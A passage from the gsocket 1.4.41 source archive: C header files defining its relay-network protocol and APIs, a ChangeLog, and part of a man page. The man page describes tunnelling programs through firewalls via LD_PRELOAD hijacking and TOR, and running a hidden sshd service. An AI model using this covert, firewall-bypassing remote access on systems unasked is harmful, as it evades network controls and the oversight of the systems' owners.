GS_SELECT_add_cb_callagain(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val); void GS_SELECT_del_cb(GS_SELECT_CTX *ctx, int fd); void GS_SELECT_del_cb_callagain(GS_SELECT_CTX *ctx, int fd); #define GS_SELECT_FD_CLR_R(ctx, fd) do { \ if ((ctx)->is_rw_state_saved[fd]) { ctx->saved_rw_state[fd] &= ~0x01; } \ FD_CLR(fd, (ctx)->rfd); \ } while (0) #define GS_SELECT_FD_CLR_W(ctx, fd) do { \ if ((ctx)->is_rw_state_saved[fd]) { ctx->saved_rw_state[fd] &= ~0x02; } \ FD_CLR(fd, (ctx)->wfd); \ } while (0) #define GS_SELECT_FD_SET_R(ctx, fd) do { \ if ((ctx)->is_rw_state_saved[fd]) { \ ctx->saved_rw_state[fd] |= 0x01; \ } else { \ XFD_SET(fd, (ctx)->rfd); \ } \ } while (0) #define GS_SUCCESS (0x00) #define GS_ECALLAGAIN (0x01) // Return Error Likes to be calleda gain #define GS_ERR_WAITING -1 // Waiting for I/O #define GS_ERR_FATAL -2 // must exit (?) #define GS_ERR_EOF -3 #define GS_ERROR -4 #endif /* !__LIBGSOCKET_SELECT_H__ */ gsocket-1.4.41/include/gsocket/gsocket.h0000644000175000017500000003550514503376047020057 0ustar epsilonepsilon #ifndef __LIBGSOCKET_H__ #define __LIBGSOCKET_H__ 1 #define WITH_GSOCKET_SSL 1 #ifndef GS_MAX # define GS_MAX(X, Y) (((X) < (Y)) ? (Y) : (X)) #endif #ifndef GS_MIN # define GS_MIN(X, Y) (((X) < (Y)) ? (X) : (Y)) #endif #define GS_ADDR_SIZE (16) /* 128 bit */ #define GS_MAX_SOX_BACKLOG (5) /* Relevant for GS_listen() only */ #define GS_TOKEN_SIZE (16) /* 128 bit */ #define GS_TV_TO_USEC(tv) ((uint64_t)(tv)->tv_sec * 1000000 + (tv)->tv_usec) #define GS_TV_TO_MSEC(tv) ((uint64_t)(tv)->tv_sec * 1000 + (tv)->tv_usec/1000) #define GS_TV_DIFF(tv_a, tv_b) (GS_TV_TO_USEC(tv_b) - GS_TV_TO_USEC(tv_a)) #define GS_SEC_TO_USEC(sec) ((uint64_t)(sec) * 1000000) #define GS_MSEC_TO_USEC(ms) ((uint64_t)(ms) * 1000) #define GS_USEC_TO_SEC(usec) ((usec) / 1000000) #define GS_USEC_TO_MSEC(usec) ((usec) / 1000) #define GS_USEC_TO_TV(tv, usec) do { (tv)->tv_sec = (usec) / 1000000; (tv)->tv_usec = (usec) % 1000000; } while(0) #define GS_SECRET_MAX_LEN (256 / 8) /* max length in bytes */ #define GS_DFL_CIPHER "SRP-AES-256-CBC-SHA" #define GS_DFL_CIPHER_STRENGTH "4096" #define GS_LOG_INFO_MSG_SIZE (1024) #define GS_LOG_TYPE_NORMAL (0) // A non-error is reported by the library #define GS_LOG_TYPE_ERROR (1) // An error is reported by the library #define GS_LOG_TYPE_DEBUG (5) #define GS_LOG_LEVEL_NONE (0) #define GS_LOG_LEVEL_VERBOSE (1) // -v #define GS_LOG_LEVEL_MOREVERB (2) // -vv #define GS_LOG_LEVEL_INSANE (3) // -vvv #define GS_LOG(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_NONE, a); } while(0) #define GS_LOG_V(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_VERBOSE, a); } while(0) #define GS_LOG_VV(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_MOREVERB, a); } while(0) #define GS_LOG_VVV(a...) do { GS_log(GS_LOG_TYPE_NORMAL, GS_LOG_LEVEL_INSANE, a); } while(0) #define GS_LOG_ERR(a...) do { GS_log(GS_LOG_TYPE_ERROR, GS_LOG_LEVEL_NONE, a); } while(0) #include #include #include #include #include #include #define GSRN_DEFAULT_PORT 443 #define GSRN_DEFAULT_PORT_CON 7351 // Some FW's kill connections after 60 seconds. #define GSRN_DEFAULT_PING_INTERVAL (45) // Wait before allowing same listening address with different auth-token #define GSRN_TOKEN_LINGER_SEC (7) /* ########################### * ### PROTOCOL DEFINITION ### * ########################### */ // _gs_hdr_con is identical for _gs_listen and _gs_connect struct _gs_hdr_lc { uint8_t type; uint8_t version_major; uint8_t version_minor; uint8_t flags; uint8_t reserved2[28]; uint8_t addr[GS_ADDR_SIZE]; // 16 bytes }; /* First message from Listening Client (LC) to GS-Network (GN) [server] * LC2GN: Register a GS-Address for listening. */ struct _gs_listen /* 128 bytes */ { union { struct _gs_hdr_lc hdr; struct { uint8_t type; uint8_t version_major; uint8_t version_minor; uint8_t flags; uint8_t reserved1[4]; uint8_t reserved2[8]; uint8_t token[GS_TOKEN_SIZE]; // 16 bytes uint8_t addr[GS_ADDR_SIZE]; }; }; uint8_t reserved3[16]; uint8_t reserved4[64]; }; /* * First message from Connecting Client (CC) to GS-Network (GN) [server] * CC2GN: Connect a listening GS-Address. * CC awaiting _gs_start from GN. */ struct _gs_connect { union { struct _gs_hdr_lc hdr; struct { uint8_t type; uint8_t version_major; uint8_t version_minor; uint8_t flags; uint8_t reserved1[4]; uint8_t reserved2[8]; uint8_t token_NOTUSED[GS_TOKEN_SIZE]; // 16 bytes uint8_t addr[GS_ADDR_SIZE]; // 16 bytes }; }; uint8_t reserved3[16]; uint8_t reserved4[64]; }; #define GS_PKT_PROTO_VERSION_MAJOR (1) #define GS_PKT_PROTO_VERSION_MINOR (3) // Wait for server to become available (-w option) #define GS_FL_PROTO_WAIT (0x01) // Allow client to become a server if server does not exist (-A option). #define GS_FL_PROTO_CLIENT_OR_SERVER (0x02) // Perform a fast-connect. Do not wait for GSRN to send '_gs_start'. // Data sent aftet '_gs_connect' is app-data (SSL SRP in most cases). // FAST_CONNECT is incompatible with 0x01 and 0x02. #define GS_FL_PROTO_FAST_CONNECT (0x04) // Inform GSRN that client prefers low-latency (interactive shell) #define GS_FL_PROTO_LOW_LATENCY (0x08) // Check if GS-ADDRESS is listening/waiting #define GS_FL_PROTO_SERVER_CHECK (0x10) /* * all2GN */ struct _gs_ping { uint8_t type; uint8_t reserved[3]; uint8_t payload[28]; }; // #define GS_PKT_PING_PAYLOAD_SIZE (28) /* * GN2all */ struct _gs_pong { uint8_t type; uint8_t reserved[3]; uint8_t payload[28]; }; /* GN2all: New incoming connection. * GN must not send any further GS messages. */ struct _gs_start { uint8_t type; uint8_t flags; uint8_t reserved[2]; uint8_t reserved2[28]; }; #define GS_FL_PROTO_START_SERVER (0x01) /* Act as a Server [ssl] */ #define GS_FL_PROTO_START_CLIENT (0x02) /* Act as a Client [ssl] */ /* GN2all: Status (error) */ struct _gs_status { uint8_t type; uint8_t err_type; uint8_t code; uint8_t reserved[1]; uint8_t msg[28]; }; /* err_type */ #define GS_STATUS_TYPE_WARN (0x01) #define GS_STATUS_TYPE_FATAL (0x02) // Must exit. #define GS_STATUS_CODE_BAD_AUTH (0x01) // Auth Token mismatch #define GS_STATUS_CODE_CONNREFUSED (0x02) // No server listening #define GS_STATUS_CODE_IDLE_TIMEOUT (0x03) // Timeout #define GS_STATUS_CODE_CONNDENIED (0x04) // Connection denied #define GS_STATUS_CODE_PROTOERROR (0x05) // Protocol error #define GS_STATUS_CODE_SERVER_OK (0x06) // Server exists #define GS_STATUS_CODE_NETERROR (0x07) // TCP error (likely ECONNREFUSED) #define GS_STATUS_CODE_NEEDUPDATE (0x2A) // oct=42; Needs updating of client. /* * all2GN: Accepting incoming connection. * LC/CC must not send any further GS messages. */ struct _gs_accept { uint8_t type; uint8_t reserved[3]; uint8_t reserved2[28]; }; #define GS_PKT_TYPE_LISTEN (0x01) // LC2GN #define GS_PKT_TYPE_CONNECT (0x02) // CC2GN #define GS_PKT_TYPE_PING (0x03) // all2GN #define GS_PKT_TYPE_PONG (0x04) // GN2all #define GS_PKT_TYPE_START (0x05) // GN2all #define GS_PKT_TYPE_ACCEPT (0x06) // all2GN #define GS_PKT_TYPE_STATUS (0x07) // GN2all #define GS_MAX_MSG_LEN GS_MAX(sizeof (struct _gs_listen), GS_MAX(sizeof (struct _gs_ping), GS_MAX(sizeof (struct _gs_pong), sizeof (struct _gs_start)))) enum gs_ctx_flags_t {GS_CTX_FL_RFD_INTERNAL}; enum gs_flags_t { GS_FL_TCP_CONNECTED = 0x01, // App TCP sockets are connected GSC_FL_NONBLOCKING = 0x02, // Do not Block on socket IO GS_FL_CALLED_NET_CONNECT = 0x04, // GS_connect() already called GS_FL_CALLED_NET_CONNECT GS_FL_IS_CLIENT = 0x08, GS_FL_CALLED_NET_NEW_SOCKET = 0x10, GSC_FL_USE_SRP = 0x20, GSC_FL_CLIENT_OR_SERVER = 0x40, GS_FL_IS_SERVER = 0x80, // A GS-CLient (the first connected) is an SRP-Server GS_FL_AUTO_RECONNECT = 0x100, // GS_accept() to reconnect on GS-NET errors GS_FL_SINGLE_SHOT = 0x200 // single GS_listen(). (for stdin/stdout) }; /* * - GS-Network host/port * - Handle TCP sockets (non-blocking) */ typedef struct { int max_sox; fd_set *rfd; fd_set *wfd; fd_set *r; fd_set *w; int gsocket_success_count; /* Successfull connection counter */ GS_SELECT_CTX *gselect_ctx; /* Listening CB and values */ gselect_cb_t func_listen; int cb_val_listen; struct timeval *tv_now; char err_buf[1024]; char err_buf2[1024]; enum gs_ctx_flags_t flags; // CTX specific flags enum gs_flags_t gs_flags; // GS specific flags. Copied to GS on creation. uint32_t flags_proto; uint32_t socks_ip; // NBO. Use Socks5 uint16_t socks_port; // Socks5 uint16_t gs_port; // GSOCKET_PORT } GS_CTX; enum sox_state_t { GS_STATE_SYS_NONE, // We are idle... GS_STATE_SYS_CONNECT, // need call to 'connect()' _again_. GS_STATE_SYS_RECONNECT, // Re-connecting to GS-NET GS_STATE_PKT_LISTEN, // listen_write() did not complete GS_STATE_PKT_PING, // ping_write() did not complete GS_STATE_APP_CONNECTED, // Application is connected. Passingthrough of data (no pkt any longer) GS_STATE_PKT_CONNECT, GS_STATE_PKT_ACCEPT, GS_STATE_SOCKS // TOR }; enum sox_flags_t { GS_SOX_FL_AWAITING_PONG, // Waiting for PONG GS_SOX_FL_AWAITING_SOCKS, // Waiting for Socks5 (TOR) reply GS_SOX_FL_WARN_SLOWCONNECT // ==1 if warning about connect() being slow has been issued }; /* TCP network address may depend on GS_ADDR (load balancing) */ struct gs_sox { int fd; enum sox_state_t state; enum sox_flags_t flags; uint8_t rbuf[GS_MAX_MSG_LEN]; size_t rlen; uint8_t wbuf[GS_MAX_MSG_LEN]; size_t wlen; struct timeval tv_last_data; /* For KeepAlive */ }; struct gs_net { uint16_t port; /* NBO */ uint32_t addr; /* IPv4, NBO */ int conn_count; struct gs_sox sox[GS_MAX_SOX_BACKLOG]; int n_sox; /* Number of sox[n] entries */ int fd_accepted; char *hostname; /* xxx.gs.thc.org */ uint64_t tv_connect; // Time connect() was called uint64_t tv_gs_hton; // Time hostname was resolved last. int is_connect_error_warned; // 'Re-connecting...' warning issued }; // Originally the password was the first 128bit from a SHA256(gs_secret) // and then converted to a 32bytes hex string + '\0' to terminate. // // A bug in any version <= 1.4.33 caused 1 extra hex to be added to the string // of size 32, making it 33 hex long and overwriting peer->gs_flags with '\0'. // Any version > 1.4.33 needs to be backward compatible. Thus we increase // the PASSWORD_LENGTH to 33 and from now onwards the SRP-PASSWORD // is 33 hex + '\0' long (132bit). Sucks to be us. #define GS_SRP_PASSWORD_LENGTH (33) typedef struct { uint8_t addr[GS_ADDR_SIZE]; char srp_password[GS_SRP_PASSWORD_LENGTH + 1]; } GS_ADDR; #ifdef WITH_GSOCKET_SSL enum ssl_state_t { GS_SSL_STATE_ACCEPT, /* Call SSL_accpet() again */ GS_SSL_STATE_CONNECT, /* Call SSL_connect() again */ GS_SSL_STATE_RW, /* Call SSL_read/SSL_write again */ GS_SSL_STATE_SHUTDOWN /* Call SSL_shutdown() again */ }; #endif enum gs_rw_state_t { GS_CAN_READ = 0x01, GS_CAN_WRITE = 0x02, GS_CAN_RW = 0x03 }; /* * A specific GS connection with a single GSOCKET-ID. * There can be multiple connection per GSOCKET-ID (eventually). */ typedef struct { GS_CTX *ctx; GS_ADDR gs_addr; enum gs_flags_t flags; int id; /* ID of this gsocket. Set AFTER conn success */ struct gs_net net; /* fd's for listening tcp_fd */ int fd; /* Only set if this is a 'connected' tcp_fd (not listening socket) */ int64_t bytes_read; int64_t bytes_written; uint64_t ts_net_io; // TimeStamp network I/O struct timeval tv_connected; /* TV when GS entered CONNECTED state */ int read_pending; int write_pending; int is_sent_shutdown; int is_want_shutdown; /* Call GS_shutdown() after SRP completion */ uint8_t token[GS_TOKEN_SIZE]; int eof_count; /* How many EOF received (needed for ssl compat) */ int status_code; #ifdef WITH_GSOCKET_SSL SSL_CTX *ssl_ctx; SRP_VBASE *srpData; /* Verifier is identical 4 all conns on same GS */ SSL *ssl; enum ssl_state_t ssl_state; char srp_sec[128]; /* SRP Secret */ int ssl_shutdown_count; // Calls to gs_ssl_close #endif } GS; struct _gs_log_info { int level; // verbosity level int type; // GS_LOG_TYPE_DEBUG or GS_LOG_TYPE_NORMAL char *msg; // log message }; typedef void (*gs_cb_log_t)(struct _gs_log_info *l); /* ##################################### * ### GSOCKET FUNCTION DECLARATIONS ### * ##################################### */ void GS_library_init(FILE *err_fp, FILE *dout_fp, gs_cb_log_t func_log); int GS_CTX_init(GS_CTX *, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now); void GS_CTX_use_gselect(GS_CTX *ctx, GS_SELECT_CTX *gselect_ctx); int GS_CTX_free(GS_CTX *); GS *GS_new(GS_CTX *ctx, GS_ADDR *addr); /* Connect to GS-Network */ const char *GS_CTX_strerror(GS_CTX *gs_ctx); const char *GS_strerror(GS *gsocket); int GS_connect(GS *gsocket); /* Fail if no such GS-ID is listening */ int GS_get_fd(GS *gsocket); int GS_listen(GS *gsocket, int backlog); /* Listen for an incoming GS connection */ void GS_listen_add_gs_select(GS *gs, GS_SELECT_CTX *ctx, gselect_cb_t func, void *arg, int val); GS *GS_accept(GS *gsocket, int *error); /* Wait until client connects by GS-ID and return Unix fileno */ int GS_close(GS *gsocket); /* close() and free() a connected GS */ int GS_shutdown(GS *gsocket); void GS_heartbeat(GS *gsocket); void GS_set_token(GS *gsocket, const void *buf, size_t num); /* Logging */ char *GS_usecstr(char *dst, size_t len, uint64_t usec); char *GS_bytesstr(char *dst, size_t len, int64_t bytes); char *GS_bytesstr_long(char *dst, size_t len, int64_t bytes); const char *GS_logtime(void); void GS_log(int type, int level, char *fmt, ...); char *GS_bin2hex(char *dst, size_t dsz, const void *src, size_t sz); char *GS_bin2HEX(char *dst, size_t dsz, const void *src, size_t sz); char *GS_bin2b58(char *b58, size_t *b58sz, uint8_t *src, size_t binsz); char *GS_addr2hex(char *dst, const void *src); char *GS_token2hex(char *dst, const void *src); char *GS_getenv(const char *name); int GS_CTX_setsockopt(GS_CTX *ctx, int level, const void *opt_value, size_t opt_len); #define GS_OPT_SOCKWAIT (0x02) #define GS_OPT_BLOCK (0x04) /* Blocking TCP */ #define GS_OPT_NO_ENCRYPTION (0x08) #define GS_OPT_CLIENT_OR_SERVER (0x10) /* Whoever connects first acts as a Server */ #define GS_OPT_USE_SOCKS (0x20) // Use TOR (Socks5) #define GS_OPT_SINGLESHOT (0x40) #define GS_OPT_LOW_LATENCY (0x80) #define GS_OPT_SERVER_CHECK (0x100) ssize_t GS_write(GS *gsocket, const void *buf, size_t num); ssize_t GS_read(GS *gsocket, void *buf, size_t num); GS_ADDR *GS_ADDR_sec2addr(GS_ADDR *addr, const char *gs_secret); uint32_t GS_hton(const char *hostname); uint8_t GS_ADDR_get_hostname_id(uint8_t *addr); void GS_SELECT_FD_SET_W(GS *gs); void GS_daemonize(FILE *logfp, int code_force_exit); uint64_t GS_usec(void); void GS_format_bps(char *dst, size_t size, int64_t bytes, const char *suffix); #define GS_BPS_MAXSIZE (8) // _without_ length of suffix! char *GS_format_since(char *dst, size_t sz, int32_t sec); #define GS_SINCE_MAXSIZE (7) char *GS_getpidwd(pid_t pid); const char *GS_gen_secret(void); const char *GS_user_secret(GS_CTX *ctx, const char *file, const char *sec_str); #ifdef WITH_GSOCKET_SSL const char *GS_SSL_strerror(int err); void GS_srp_setpassword(GS *gsocket, const char *pwd); const char *GS_get_cipher(GS *gs); int GS_get_cipher_strength(GS *gs); int GS_is_server(GS *gs); const char *GS_sanitize(char *dst, size_t dsz, char *src, size_t sz, const char *set, size_t setsz, short option); const char *GS_sanitize_fname(char *dst, size_t dlen, char *src, size_t slen); const char *GS_sanitize_logmsg(char *dst, size_t dlen, char *src, size_t slen); const char *GS_sanitize_fname_str(char *str, size_t len); const char *GS_sanitize_logmsg_str(char *str, size_t len); #endif /* !WITH_GSOCKET_SSL */ #endif /* !__LIBGSOCKET_H__ */ gsocket-1.4.41/include/gsocket/gsocket-ssl.h0000644000175000017500000000025714503376047020652 0ustar epsilonepsilon #ifndef __LIBGSOCKET_SSL_H__ #define __LIBGSOCKET_SSL_H__ 1 /* The user can DELETE this file to build project without OpenSSL support */ #endif /* !__LIBGSOCKET_SSL_H__ */ gsocket-1.4.41/include/gsocket/list.h0000644000175000017500000000170414503376047017365 0ustar epsilonepsilon#ifndef __GS_LIST_H__ #define __GS_LIST_H__ 1 typedef struct { void *next; void *prev; void *gsl; // Pointer to GS_LIST context uint64_t id; int add_id; int is_calloc; void *data; } GS_LIST_ITEM; typedef struct { GS_LIST_ITEM *head; GS_LIST_ITEM *tail; int n_items; int add_count; int opt; } GS_LIST; #define GS_LIST_ID_COUNT(gsl) (gsl)->add_count // To add item to bottom of list int GS_LIST_init(GS_LIST *gsl, int opt); GS_LIST_ITEM *GS_LIST_add(GS_LIST *gsl, GS_LIST_ITEM *src_li, void *data, uint64_t id); void GS_LIST_move(GS_LIST *gsl, GS_LIST_ITEM *li); int GS_LIST_del(GS_LIST_ITEM *li); int GS_LIST_del_all(GS_LIST *gsl, int deep); GS_LIST_ITEM *GS_LIST_next(GS_LIST *gsl, GS_LIST_ITEM *li); GS_LIST_ITEM *GS_LIST_by_pos(GS_LIST *gsl, int pos); GS_LIST_ITEM *GS_LIST_by_id(GS_LIST *gsl, uint64_t id); void GS_LIST_relink(GS_LIST_ITEM *li, uint64_t id); void GS_LIST_stderr(GS_LIST *gsl, const char *msg); #endif /* !__GS_LIST_H__ */gsocket-1.4.41/include/gsocket/gs-readline.h0000644000175000017500000000204314503376047020601 0ustar epsilonepsilon#ifndef __GS_READLINE_H__ #define __GS_READLINE_H__ 1 #ifdef DEBUG # define GS_RL_LINE_MAX (512) // # define GS_RL_LINE_MAX (32) #else # define GS_RL_LINE_MAX (512) #endif #define GS_RL_VISIBLE_MAX (127) #define GS_RL_ESC_MAX (GS_RL_LINE_MAX + 32) // including ESCs (color & position) typedef struct { char line[GS_RL_LINE_MAX + 1]; // Full Length without ascii sequence char vline[GS_RL_VISIBLE_MAX + 1]; // Might be shorted with '..' at the end size_t pos; // pointing to next unused field in line. size_t len; // Set when '\n' encountered size_t visible_len; size_t esc_len; // without 0-termianted string char esc_data[GS_RL_ESC_MAX + 1]; size_t v_pos; // cursor x-position (col) relative to beginning of visible line int col; int row; int is_need_redraw; int is_in_esc; } GS_RL_CTX; int GS_RL_init(GS_RL_CTX *rl, int len_visible); int GS_RL_add(GS_RL_CTX *rl, uint8_t c, uint8_t *key, int row, int col); void GS_RL_reset(GS_RL_CTX *rl); void GS_RL_resize(GS_RL_CTX *rl, int len, int row, int col); #endif /* !__GS_READLINE_H__ */gsocket-1.4.41/include/gsocket/packet.h0000644000175000017500000000351514503376047017663 0ustar epsilonepsilon#ifndef __GS_PACKET_H__ #define __GS_PACKET_H__ 1 #define GS_PKT_MAX_SIZE (2048) // content length without pkt-header (2 or 4 bytes) #define GS_PKT_HDR_MAX_SIZE (4) #define GS_PKT_MAX_MSG 128 // type = 0..127 #define GS_PKT_MAX_CHN 128 // type = 128..255 // #define GS_PKT_ESC 'e' // TESTING ONLY #ifndef GS_PKT_ESC # define GS_PKT_ESC 0xFB // escape character #endif #define GS_PKT_MSG_HDR_LEN (2) #define GS_PKT_CHN_HDR_LEN (4) typedef void (*gspkt_cb_t)(uint8_t type, const uint8_t *data, size_t len, void *arg); /* * - msg are fixed length (e.g. window size) * - channels are streams (e.g. file transfer) */ typedef struct { size_t esc_len_rem; uint8_t type; // type 0..127 is msg's, 128..255 is chn uint8_t inband[GS_PKT_MAX_SIZE];// in-band packet/stream chunk size_t len; // length of data in inband buffer int is_got_chn_len; // gspkt_cb_t funcs[256]; // Dispatch functions for msg/chn type void *args[256]; } GS_PKT; struct gs_pkt_msg_hdr { uint8_t esc; uint8_t type; } __attribute__((__packed__)); struct gs_pkt_chn_hdr { uint8_t esc; uint8_t type; uint16_t len; } __attribute__((__packed__)); #define GS_PKT_IS_CHANNEL(a) (((a) >> 7) & 0x01) #define GS_PKT_CHN2TYPE(a) (GS_PKT_MAX_MSG + a) int GS_PKT_init(GS_PKT *pkt); int GS_PKT_close(GS_PKT *pkt); int GS_PKT_assign_msg(GS_PKT *pkt, uint8_t msg, gspkt_cb_t func, void *arg); int GS_PKT_assign_chn(GS_PKT *pkt, uint8_t chn, gspkt_cb_t func, void *arg); void GS_PKT_encode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen); int GS_PKT_decode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen); ssize_t GS_PKT_decode_single(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen); int GS_PKT_MSG_size_by_type(int type); #define GS_PKT_TYPE_NONE 0x00 #endif /* !__GS_PACKET_H__ */ gsocket-1.4.41/include/gsocket/Makefile.am0000755000175000017500000000013514503376047020275 0ustar epsilonepsilonEXTRA_DIST = buf.h event.h gs-readline.h gs-select.h gsocket-ssl.h gsocket.h list.h packet.h gsocket-1.4.41/include/gsocket/event.h0000644000175000017500000000153414503376047017534 0ustar epsilonepsilon#ifndef __GS_EVENT_H__ #define __GS_EVENT_H__ 1 typedef int (*gsevent_cb_t)(void *event); typedef struct { void *mgr; uint64_t interval; uint64_t start; uint64_t due; GS_LIST_ITEM li; void *data; size_t len; gsevent_cb_t func; int is_calloc; int id; } GS_EVENT; /* * Keep track of all events under a context */ typedef struct { GS_LIST list_ts; // events by timestamp (usec) int id_counter; int is_return_to_caller; } GS_EVENT_MGR; int GS_EVENT_MGR_init(GS_EVENT_MGR *mgr); GS_EVENT *GS_EVENT_add_by_ts(GS_EVENT_MGR *mgr, GS_EVENT *gsevent, uint64_t start, uint64_t interval, gsevent_cb_t func, void *data, size_t len); int GS_EVENT_del(GS_EVENT *gsevent); uint64_t GS_EVENT_usec_until_event(GS_EVENT_MGR *mgr); uint64_t GS_EVENT_execute(GS_EVENT_MGR *mgr); uint64_t GS_EVENT_execute_all(GS_EVENT_MGR *mgr); #endif /* !__GS_EVENT_H__ */gsocket-1.4.41/include/gsocket/buf.h0000644000175000017500000000161014503376047017162 0ustar epsilonepsilon#ifndef __GS_BUF_H__ #define __GS_BUF_H__ 1 typedef struct { void *data; size_t sz_total; size_t sz_used; size_t sz_max_add; } GS_BUF; void GS_BUF_init(GS_BUF *gsb, size_t sz_min_free); void GS_BUF_free(GS_BUF *gsb); int GS_BUF_resize(GS_BUF *gsb, size_t sz_new); int GS_BUF_add_length(GS_BUF *gsb, size_t len); int GS_BUF_add_data(GS_BUF *gsb, void *data, size_t len); int GS_BUF_printf(GS_BUF *gsb, const char *fmt, ...); int GS_BUF_del(GS_BUF *gsb, size_t len); int GS_BUF_memmove(GS_BUF *gsb, void *data, size_t len); #define GS_BUF_empty(gsb) (gsb)->sz_used = 0; #define GS_BUF_DATA(gsb) (gsb)->data #define GS_BUF_IS_INIT(gsb) ((gsb)->sz_max_add!=0) #define GS_BUF_UNUSED(gsb) ((gsb)->sz_total - (gsb)->sz_used) #define GS_BUF_RSRC(gsb) (gsb)->data #define GS_BUF_WDST(gsb) ((uint8_t *)(gsb)->data + (gsb)->sz_used) #define GS_BUF_USED(gsb) (gsb)->sz_used #endif /* !__GS_BUF_H__ */ gsocket-1.4.41/ChangeLog0000644000175000017500000000164014503376047014730 0ustar epsilonepsilon1.4.41 - 2023-09-22 * Transparent proxy detection * muslcc localtime() bug work around 1.4.40 - 2023-09-00 * Windows cmd.exe support * SSL error printing .4.39 - 2022-09-01 * -t flag to check if peer is listening * Software emulation of PTY if /dev/ptmx is unavailable * Keepalive improved for Port 443 connections 1.4.31-dev - 2021-06-08 * Protocol 1.3 - BREAKS BACKWARD COMPATIBILITY * New Key Deriviation Method and fixed gs secret length * -v, -vv and -vvv for verbosity * Auto-Reconnect for -l (server) when DNS fails and keep re-trying until success. * Downgraded automake requirements to 2.69 * deploy.sh support for Raspberry PI 4b+ (armv7l) * Debian HURD support (https://www.debian.org/ports/hurd/) * unique exit() codes (thanks acpizer!) * =Secret without quotes for easy cut & paste on windows (thanks CuCai!) * CHANGELOG (thanks xaitax!) gsocket-1.4.41/man/0000755000175000017500000000000014503376047013730 5ustar epsilonepsilongsocket-1.4.41/man/gsocket.10000755000175000017500000002302614503376047015457 0ustar epsilonepsilon\# .TH gsocket 1 "08 October 2020" "1.0" "gssocket man page" .Dd March 02, 2021 .Dt gsocket 1 .Os .Sh NAME .Nm gsocket .Nd connect like there is no firewall. Securely. .Sh SYNOPSIS .Nm gsocket .Op Fl qT .Op Fl s Ar secret .Op Fl k Ar keyfile .Op Fl p Ar port .Op Ar program .Op Ar args ... .Sh DESCRIPTION The .Nm tool can be used to enable a program to communicate through a firewall in situations where it would not be possible to establish a direct connection to another host/workstation (NATed/firewalled). The typical scenario is two workstations that are on separate private networks and behind separate firewalls. The .Nm tool hijacks the network library functions (such as connect() and accept()) of the program and encrypts and redirects the traffic through the Global Socket Relay Network (GSRN). .Pp Neither workstation needs to open a port in their firewall nor accept incoming TCP connections. .Pp The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic. .Pp Common uses include: .Pp .Bl -bullet -offset indent -compact .It ssh from one workstation to another .It OpenVPN between two workstations .It netcat between two workstations .It and much, much more. .El .Pp ...while both workstations are behind NAT and firewalled. .Pp Abandon the thought of IP addresses and port numbers: Two programs should be able to communicate with each other as long as they know the same secret (rather than each other's IP address and port number). The .Nm tools establishes such a connection regardless and independent of the local IP address or geographical location. It does so by analyzing the program and replacing the IP Layer with its own transport through GSRN. The connection is end-2-end encrypted. The GSRN sees only the encrypted traffic. .Pp The typical scenario is a client/server arrangement such as ssh and sshd: Connections by ssh to any hostname ending in '.gsocket' are redirected (through the GSRN) to the (firewalled) sshd server. .Pp The redirection is done per program (and limited to that program only). The .Nm tool does not change the routing table and does not change the NAT nor the firewall settings. It does not require superuser privileges either. .Pp .Sh OPTIONS .Bl -tag -width Ds .It Fl s Ar secret A secret chosen by the user. Both ends need to use the same secret to connect. .It Fl k Ar file A file containing the secret. .It Fl g Generate a secure random secret and output it to standard output. .It Fl q Quiet mode. Do not output any warnings or errors. .It Fl T Use TOR. The .Nm tool will connect through TOR to the GSRN. This requires TOR to be installed and running. .It Fl p Ar port TCP port range of listening ports to redirect [default=all]. .El .Pp Connections to any hostname ending in '*.gsocket' or to the IP Address '127.31.33.7' are redirected through the GSRN. .Pp Connections to any hostname ending in '*.thc' or to the IP Address '127.31.33.8' are first redirected through TOR and then through the GSRN. .Sh EXAMPLES .Nm Example 1 - OpenSSH between two firewalled workstations: .Pp Server: .Dl $ gsocket -s MySecret /usr/sbin/sshd Client: .Dl $ gsocket -s MySecret ssh xaitax@gsocket .Pp .Nm Example 2 - netcat between two firewalled workstations: .Pp Server: .Dl $ gsocket -s MySecret nc -lp 31337 Client: .Dl $ gsocket -s MySecret nc gsocket 31337 .Pp .Nm Example 3 - OpenVPN between two firewalled workstations: .Pp Server: .Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2 Client: .Dl $ gsocket -s MySecret openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket .Pp .Nm Example 4 - IRCD between two firewalled workstations: .Pp Server: .Dl $ gsocket -s MySecret inspircd --nolog --nofork Client: .Dl $ gsocket -s MySecret irssi -c gsocket .Pp .Nm Example 5 - Socat between two firewalled workstations: .Pp Server: .Dl $ gsocket -s MySecret socat - TCP_LISTEN:31337 Client: .Dl $ gsocket -s MySecret socat - TCP:gsocket:31337 .Pp .Sh SYSTEMCTL INSTALLATION It is possible to make any service/daemon accessible through any firewall. The service is then only acessible through the GSRN and only if the client knows the secret. No port or service is exposed to the public Internet and the existence of the service remains hidden. This example makes openssh-server (sshd) accessible through the GSRN. Nobody, not even the GSRN operators, have access to the port, daemon or service (they do not know the secret). The new service coexists with the existing openssh-server and does not interfere with the existing openssh-server. .Pp 1. Copy /etc/systemd/system/sshd to /etc/systemd/system/gs-sshd .Pp 2. Edit /etc/systemd/system/gs-sshd and change this line: .Dl ExecStart=/usr/sbin/sshd -D $SSHD_OPTS to .Dl ExecStart=gsocket -s MySecret /usr/sbin/sshd -D $SSHD_OPTS .Pp 3. Start the newly created service .Dl # systemctl start gs-sshd .Pp 4. Check the status .Dl # systemctl status gs-sshd .Pp 5. Connect from any other host to the newly created (hidden) openssh-server: .Dl $ gsocket -s MySecret ssh user@gsocket .Pp .Sh TESTING The .Nm tool uses the LD_PRELOAD method to hijack network calls from the calling process. It then concatenates the port number to the secret and spwans a gs-netcat process to forward the TCP connection. The setup can be tested with gs-netcat. .Pp .Nm Test 1 - gsocket server and gs-netcat client: .Pp Server: .Dl $ gsocket -s MySecret 